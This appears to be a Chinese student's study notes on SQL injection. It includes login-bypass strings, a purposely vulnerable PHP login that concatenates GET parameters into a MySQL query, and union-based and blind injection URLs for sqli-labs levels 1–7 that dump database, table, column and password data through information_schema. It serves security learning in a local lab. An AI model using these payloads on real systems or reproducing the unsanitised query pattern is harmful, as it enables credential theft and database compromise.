SQL注入

1.总结第一天第二天的课程内容

1、数据传递采用注释

username='admin'-- and password = 'admin'       --的后面有个空格有转码的话加一个空格

2、构造函数

编码网站站长工具 - 站长之家 (chinaz.com)

如果是编码问题可以进行编码之后在传参

username='admin' or '1'='1' and password = 'sscac' 

查询

整体思路:(web访问流程)

1、浏览器----本地页面代码(F12)

2、http----(页面的所有数据都要传的)截获数据、修改数据、观察数据、绕过页面判断的界面

3、web容器(iis、apache、Nginx)解析数据—解析文件、数据问题

4、web语言(php、javaScript、python、.net等等)执行代码

5、数据库

注入类漏洞---->数据变代码

1、如何判断漏洞

2、如何构造代码

思路:先判断是否被整型包裹(id=1 and 1=2),整体是对的会返回数据,错的不会返回数据,其次在看是不是单引号(id=1’)报错,进一步测试(id=1‘ and ‘1’='1)对的,(id=1‘ and ‘1’='2)没有数据,断定就是单引号包裹,取数据()

2.自己写一个登陆页面,并能实现对接数据库,判断用户名与密码是否正确

1.登录页面

<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>西安加油</title>
</head>

<h1>西安欢迎你!!!!</h1>

<form name="input" action="shujiku.php" method="get">
    用户名:<input type="text" name='user'>
    密码:<input type="password" name='passwd'>
	<input type="submit" value="登录">


SQL注入

2、连接数据库

<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>西安加油!!</title>
</head>


<?php
$uname=$_GET['user'];
$pwd=$_GET['passwd'];
if($uname==null or $pwd==null){ echo "用户名或密码不能为空,请重新输入!";}


else{
  $con = mysqli_connect('127.0.0.1','root','root','test');
  if (!$con){
    die("连接失败:".mysqli_connect_error());
  }
  echo "数据库连接成功";
  $sql="select username , password from users where username='$uname' and password = '$pwd'";
  $result=mysqli_query($con,$sql);
  $row=mysqli_fetch_assoc($result);
  if($row){
    echo"登录成功,欢迎".$uname."!";
  }
  else{
    echo"登录失败!<a href='test.php'>重新登录";
  }
}
?>

SQL注入
SQL注入
SQL注入
SQL注入

SQL注入

3.练习sql-map-master的1-7关。

1、第一关
SQL注入

思路:先判断是否被整型包裹(id=1 and 1=2),整体是对的会返回数据,错的不会返回数据,其次在看是不是单引号(id=1’)报错,进一步测试(id=1‘ and ‘1’='1)对的,(id=1‘ and ‘1’='2)没有数据,断定就是单引号包裹,取数据()

1、找库

show databases;

select DATABASE();//看当前库

select name from users where id=1union all select 1,2;//联合查询输出了就说明两列不知道的话就尝试

select username, password from users order by 1;//order by函数也可以写相对位置

http://192.168.131.129/sqli-labs-master/Less-1/?id=1'--+
http://192.168.131.129/sqli-labs-master/Less-1/?id=1'order by 3--+  查列
http://192.168.131.129//sqli-labs-master/Less-1/?id=1' union all select 1,2,3--+     联合查询
http://192.168.131.129//sqli-labs-master/Less-1/?id=-1' union all select 1,2,3--+     想看自己想看的数据因为没有负一   判断表结构
http://192.168.131.129//sqli-labs-master/Less-1/?id=-1' union all select 1,2,database()--+       替换1,2,3可以查出库名  

select table_name from information_schema.tables where table_schema=‘security’ limit 0,1;

http://192.168.131.129/sqli-labs-master/Less-1/?id=-1' union all select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),database()--+
爆出表,所有mysql都有一个库叫information_schema就是其他库在这里有记录
改动limit  1,1等来找你想要的表

select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1

http://192.168.131.129/sqli-labs-master/Less-1/?id=-1' union all select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),database()--+
列名,改动limit  1,1等来找你想要的表

select username,password from users

http://192.168.131.129/sqli-labs-master/Less-1/?id=-1' union all select 1,username,password from users limit 1,1--+
显示

SQL注入

2、第二关

SQL注入

http://192.168.131.129/sqli-labs-master/Less-2/?id=1 and 1=2    没报错但没有数据
http://192.168.131.129/sqli-labs-master/Less-2/?id=-1  union all select 1,2,3
后面套路同上

SQL注入

3、第三关

SQL注入

http://192.168.131.129/sqli-labs-master/Less-3/?id=1 and 1=2 并不知整型
http://192.168.131.129/sqli-labs-master/Less-3/?id=1' --+  报错猜测和括号关系,但不是括号,和单引号有关于是注释掉语法错了就不是单引号猜测单引号加括号
http://192.168.131.129/sqli-labs-master/Less-3/?id=1') --+ 
http://192.168.131.129/sqli-labs-master/Less-3/?id=1') and 1=2 --+ 
进一步确认,没有报错所以确定是')

SQL注入

4、第四关

")

5、第五关(不回写)

order by 3

select

datbase()

按照流程走

select ascii(SUBSTR(‘abc’,2,1));

写一个判断

A65 - 90 _95

a97 -122

http://192.168.131.129/sqli-labs-master/Less-3/?id=1' and length(database())=8--+   长是8
http://192.168.131.129/sqli-labs-master/Less-3/?id=1' and ascii(substr(database(),1,1))=115--+   

需要写脚本

li-labs-master/Less-3/?id=1’ and length(database())=8–+ 长是8

http://192.168.131.129/sqli-labs-master/Less-3/?id=1’ and ascii(substr(database(),1,1))=115–+

需要写脚本

6、第六关

‘’

7、第七关

SQL注入

上一篇:upload-labs-master 文件上传过程总结


下一篇:sqli-labs第四关